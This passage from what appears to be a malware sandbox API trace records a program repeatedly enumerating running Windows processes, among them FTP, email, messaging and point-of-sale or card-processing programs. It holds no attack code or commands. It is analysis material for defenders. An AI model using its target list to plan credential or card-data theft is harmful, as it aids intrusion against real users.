lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0258.122] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0258.124] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0258.126] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0258.128] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0258.130] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0258.132] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0258.134] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0258.136] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0258.138] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0258.140] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0258.142] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0258.194] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0258.196] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0258.198] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0258.200] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0258.202] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0258.204] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0258.206] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0258.208] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0258.211] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0258.213] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0258.215] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0258.217] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0258.220] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0258.222] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0258.224] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0258.226] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0258.228] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0258.230] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0258.233] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0258.235] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0258.237] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0258.288] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0258.291] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0258.294] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0258.302] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0258.305] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0258.413] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0258.415] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0258.416] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0258.418] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0258.419] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0258.421] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0258.423] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0258.424] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0258.426] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0258.427] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0258.429] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0258.430] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0258.431] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.433] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.434] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0258.436] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0258.437] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0258.438] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0258.440] CloseHandle (hObject=0x1038) returned 1 [0258.440] Sleep (dwMilliseconds=0x64) [0258.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0258.503] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.505] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.508] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.509] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.511] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.513] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.515] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.517] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.521] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.523] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.525] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.526] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.528] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.530] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.532] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.585] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.588] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.590] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.592] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.593] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.595] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.598] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0258.600] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.602] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.604] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.606] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.608] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0258.610] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.612] Process32Next (in: hSnapshot=0x1038, 